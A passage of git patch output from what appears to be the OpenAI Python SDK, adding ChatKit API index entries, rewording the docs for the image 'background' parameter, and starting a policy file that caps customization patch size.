`git diff --check` pass.
- The verified public custom-code report keeps 40 mixed files, with only
`api.md` changed and 39 customizations untouched. Its patch shrinks from
**+87/-32 to +105/-0**: the API index no longer deletes generated
content.
No tests are removed or relocated in this documentation-only cleanup.
---
api.md | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 50 insertions(+)
diff --git a/api.md b/api.md
index c17edbb239..cf6ae87931 100644
--- a/api.md
+++ b/api.md
@@ -643,6 +643,56 @@ Methods:
- client.beta.responses.input_tokens.count(\*\*params) -> InputTokenCountResponse
+## ChatKit
+
+Types:
+
+```python
+from openai.types.beta import ChatKitWorkflow
+```
+
+### Sessions
+
+Methods:
+
+- client.beta.chatkit.sessions.create(\*\*params) -> ChatSession
+- client.beta.chatkit.sessions.cancel(session_id) -> ChatSession
+
+### Threads
+
+Types:
+
+```python
+from openai.types.beta.chatkit import (
+ ChatSession,
+ ChatSessionAutomaticThreadTitling,
+ ChatSessionChatKitConfiguration,
+ ChatSessionChatKitConfigurationParam,
+ ChatSessionExpiresAfterParam,
+ ChatSessionFileUpload,
+ ChatSessionHistory,
+ ChatSessionRateLimits,
+ ChatSessionRateLimitsParam,
+ ChatSessionStatus,
+ ChatSessionWorkflowParam,
+ ChatKitAttachment,
+ ChatKitResponseOutputText,
+ ChatKitThread,
+ ChatKitThreadAssistantMessageItem,
+ ChatKitThreadItemList,
+ ChatKitThreadUserMessageItem,
+ ChatKitWidgetItem,
+ ThreadDeleteResponse,
+)
+```
+
+Methods:
+
+- client.beta.chatkit.threads.retrieve(thread_id) -> ChatKitThread
+- client.beta.chatkit.threads.list(\*\*params) -> SyncConversationCursorPage[ChatKitThread]
+- client.beta.chatkit.threads.delete(thread_id) -> ThreadDeleteResponse
+- client.beta.chatkit.threads.list_items(thread_id, \*\*params) -> SyncConversationCursorPage[Data]
+
## Realtime
Types:
From bedb9a7b8839e193107e88b92f7cc166f08ac83d Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 09:29:57 -0400
Subject: [PATCH 064/341] chore(api): Clarify image background docs and preview
support (#3703)
## Summary
Refine documentation for the image 'background' parameter across the
Images resource and related type definitions. These changes only update
descriptions and wording; there are no changes to function signatures,
types, or runtime behavior.
## Changes
- Rewrite and clarify the 'background' parameter description for image
generation and editing to state it must be one of 'transparent',
'opaque', or 'auto' and that 'auto' lets the model choose the
background.
- Document that transparent backgrounds are available for supported GPT
Image models and explicitly mark gpt-image-2 and gpt-image-2-2026-04-21
support as preview-level, rather than stating transparent backgrounds
are not supported.
- Add/clarify guidance that when requesting a transparent background the
returned image format should support transparency (e.g., 'png' or
'webp').
- Apply these documentation updates consistently in runtime resource
docstrings and in typed models/typed dicts describing image parameters
and responses.
- No changes to public types, method signatures, parameter names,
accepted values, or return types; no customer-visible behavior or API
contract changes.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 87 ++++-----
src/openai/resources/images.py | 204 ++++++++--------------
src/openai/types/beta/beta_tool.py | 19 +-
src/openai/types/beta/beta_tool_param.py | 19 +-
src/openai/types/image_edit_params.py | 19 +-
src/openai/types/image_generate_params.py | 19 +-
src/openai/types/responses/tool.py | 19 +-
src/openai/types/responses/tool_param.py | 19 +-
9 files changed, 157 insertions(+), 262 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 26d99d11aa..e32ac6fcbd 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: ddf51c0b-5978-487f-be21-e379112a927a
-openapi_spec_hash: a85edbfc22ff719d064bce2705c7394e
-openapi_transformed_spec_hash: f8e7644df5aee22dfcd0ea2b70942054
-config_hash: 85382dd94c503b5d225adc7636a77c9f
-codegen_sha: 310aa46b5b69a9e4a3d0dd78fa47797d6cae2746
-codegen_hash: 5188f6aac875d009719a2f3702c2824068b7ce0780fe001f8a791735d8212a8b
-public_codegen_sha: 0d3e70da47bb645fbfd0dd16fdd37ea10ee981f5
+generation_id: a346904e-ba2c-4683-831d-a452ad321113
+openapi_spec_hash: 92700e1a33a4f6174a01b46648c8186a
+openapi_transformed_spec_hash: e37bbe0f04caa6093f1cb5d65d23ad03
+config_hash: d13c582815d0db08c374985806be7352
+codegen_sha: 035b803d39b5d87e9ea7624fdf638f58ff6343e9
+codegen_hash: 015182335504f95ee327a5096cdb3c6046b558c54ddac2ddb9d6b526be4b536d
+public_codegen_sha: e36749421d1be152d016bc41a8850bbdd9de0e63
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index f14d867a01..c12baba61f 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -33071,18 +33071,14 @@ components:
nullable: true
description: |
Allows to set transparency for the background of the generated image(s).
- This parameter is only supported for GPT image models that support
- transparent backgrounds. Must be one of `transparent`, `opaque`, or
- `auto` (default value). When `auto` is used, the model will
- automatically determine the best background for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support
- transparent backgrounds. Requests with `background` set to
- `transparent` will return an error for these models; use `opaque` or
- `auto` instead.
-
- If `transparent`, the output format needs to support transparency,
- so it should be set to either `png` (default value) or `webp`.
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When
+ `auto` is used, the model will automatically determine the best
+ background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models.
+ For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
+ preview. When using `transparent`, set the output format to `png` or
+ `webp`.
model:
anyOf:
- type: string
@@ -33310,18 +33306,14 @@ components:
nullable: true
description: |
Allows to set transparency for the background of the generated image(s).
- This parameter is only supported for GPT image models that support
- transparent backgrounds. Must be one of `transparent`, `opaque`, or
- `auto` (default value). When `auto` is used, the model will
- automatically determine the best background for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support
- transparent backgrounds. Requests with `background` set to
- `transparent` will return an error for these models; use `opaque` or
- `auto` instead.
-
- If `transparent`, the output format needs to support transparency,
- so it should be set to either `png` (default value) or `webp`.
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When
+ `auto` is used, the model will automatically determine the best
+ background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models.
+ For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
+ preview. When using `transparent`, set the output format to `png` or
+ `webp`.
style:
type: string
enum:
@@ -35512,7 +35504,7 @@ components:
- type: 'null'
default: auto
example: transparent
- description: Background behavior for generated image output.
+ description: Set the background of the generated image output. Transparent backgrounds are available for supported GPT Image models. For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`, set the output format to `png` or `webp`.
stream:
anyOf:
- type: boolean
@@ -39198,18 +39190,14 @@ components:
- auto
description: |
Allows to set transparency for the background of the generated image(s).
- This parameter is only supported for GPT image models that support
- transparent backgrounds. Must be one of `transparent`, `opaque`, or
- `auto` (default value). When `auto` is used, the model will
- automatically determine the best background for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support
- transparent backgrounds. Requests with `background` set to
- `transparent` will return an error for these models; use `opaque` or
- `auto` instead.
-
- If `transparent`, the output format needs to support transparency,
- so it should be set to either `png` (default value) or `webp`.
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When
+ `auto` is used, the model will automatically determine the best
+ background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models.
+ For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
+ preview. When using `transparent`, set the output format to `png` or
+ `webp`.
default: auto
input_fidelity:
anyOf:
@@ -51417,8 +51405,9 @@ components:
RealtimeTranslationServerEventSessionOutputAudioDelta:
type: object
description: |
- Returned when translated output audio is available. Output audio deltas are
- 200 ms frames of PCM16 audio.
+ Returned when translated output audio is available. The `delta` contains a
+ PCM16 audio chunk whose length can vary. Clients should decode and queue the
+ complete delta instead of assuming a fixed byte or sample count.
properties:
event_id:
type: string
@@ -68577,18 +68566,14 @@ components:
- auto
description: |
Allows to set transparency for the background of the generated image(s).
- This parameter is only supported for GPT image models that support
- transparent backgrounds. Must be one of `transparent`, `opaque`, or
- `auto` (default value). When `auto` is used, the model will
- automatically determine the best background for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support
- transparent backgrounds. Requests with `background` set to
- `transparent` will return an error for these models; use `opaque` or
- `auto` instead.
-
- If `transparent`, the output format needs to support transparency,
- so it should be set to either `png` (default value) or `webp`.
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When
+ `auto` is used, the model will automatically determine the best
+ background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models.
+ For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
+ preview. When using `transparent`, set the output format to `png` or
+ `webp`.
default: auto
input_fidelity:
anyOf:
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index e0aad166fc..8081f3532c 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -172,18 +172,13 @@ def edit(
prompt: A text description of the desired image(s). The maximum length is 1000
characters for `dall-e-2`, and 32000 characters for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -306,18 +301,13 @@ def edit(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -436,18 +426,13 @@ def edit(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -625,18 +610,13 @@ def generate(
characters for the GPT image models, 1000 characters for `dall-e-2` and 4000
characters for `dall-e-3`.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
@@ -755,18 +735,13 @@ def generate(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
@@ -881,18 +856,13 @@ def generate(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
@@ -1177,18 +1147,13 @@ async def edit(
prompt: A text description of the desired image(s). The maximum length is 1000
characters for `dall-e-2`, and 32000 characters for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1311,18 +1276,13 @@ async def edit(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1441,18 +1401,13 @@ async def edit(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1630,18 +1585,13 @@ async def generate(
characters for the GPT image models, 1000 characters for `dall-e-2` and 4000
characters for `dall-e-3`.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
@@ -1760,18 +1710,13 @@ async def generate(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
@@ -1886,18 +1831,13 @@ async def generate(
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
- background: Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
+ background: Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index 57c659c967..faa0ed24ee 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -262,18 +262,13 @@ class ImageGeneration(BaseModel):
background: Optional[Literal["transparent", "opaque", "auto"]] = None
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]] = None
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index 640b4bfedb..86527185d2 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -261,18 +261,13 @@ class ImageGeneration(TypedDict, total=False):
background: Literal["transparent", "opaque", "auto"]
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]]
diff --git a/src/openai/types/image_edit_params.py b/src/openai/types/image_edit_params.py
index b014454606..2f691d2795 100644
--- a/src/openai/types/image_edit_params.py
+++ b/src/openai/types/image_edit_params.py
@@ -33,18 +33,13 @@ class ImageEditParamsBase(TypedDict, total=False):
background: Optional[Literal["transparent", "opaque", "auto"]]
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]]
diff --git a/src/openai/types/image_generate_params.py b/src/openai/types/image_generate_params.py
index c9aeacd30b..59cf4c191f 100644
--- a/src/openai/types/image_generate_params.py
+++ b/src/openai/types/image_generate_params.py
@@ -20,18 +20,13 @@ class ImageGenerateParamsBase(TypedDict, total=False):
background: Optional[Literal["transparent", "opaque", "auto"]]
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
model: Union[str, ImageModel, None]
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index 69293fa845..3e815cceff 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -267,18 +267,13 @@ class ImageGeneration(BaseModel):
background: Optional[Literal["transparent", "opaque", "auto"]] = None
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]] = None
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index 9aa229cdd9..a1fb90c8c3 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -267,18 +267,13 @@ class ImageGeneration(TypedDict, total=False):
background: Literal["transparent", "opaque", "auto"]
"""
- Allows to set transparency for the background of the generated image(s). This
- parameter is only supported for GPT image models that support transparent
- backgrounds. Must be one of `transparent`, `opaque`, or `auto` (default value).
- When `auto` is used, the model will automatically determine the best background
- for the image.
-
- `gpt-image-2` and `gpt-image-2-2026-04-21` do not support transparent
- backgrounds. Requests with `background` set to `transparent` will return an
- error for these models; use `opaque` or `auto` instead.
-
- If `transparent`, the output format needs to support transparency, so it should
- be set to either `png` (default value) or `webp`.
+ Allows to set transparency for the background of the generated image(s). Must be
+ one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
+ the model will automatically determine the best background for the image.
+
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]]
From 04d5d79fc71e883a3114b80ed8408bef76e72cd3 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 14:55:57 +0000
Subject: [PATCH 065/341] chore: set a ceiling for Python SDK customization
(#3714)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Set a generous 10,000-line ceiling for the Python SDK's remaining
customization of generated files. The current verified patch is 6,558
lines (+6,010 / −548), so normal development has headroom while
unusually large patches need an explicit decision.
This PR intentionally changes only `.castiron-ratchet.json`. Keeping the
policy separate means an SDK change cannot raise its own allowance. A
human approving review is required; the automated technical review is
not policy approval.
Companion tooling PR #3715 adds enforcement using the budget already on
`main`. Land this policy first. This seed alone does not enable a
required check, and it does not change SDK behavior or CODEOWNERS.
---
.castiron-ratchet.json | 4 ++++
1 file changed, 4 insertions(+)
create mode 100644 .castiron-ratchet.json
diff --git a/.castiron-ratchet.json b/.castiron-ratchet.json
new file mode 100644
index 0000000000..a5ee9ba654
--- /dev/null
+++ b/.castiron-ratchet.json
@@ -0,0 +1,4 @@
+{
+ "schema_version": 1,
+ "max_custom_patch_lines": 10000
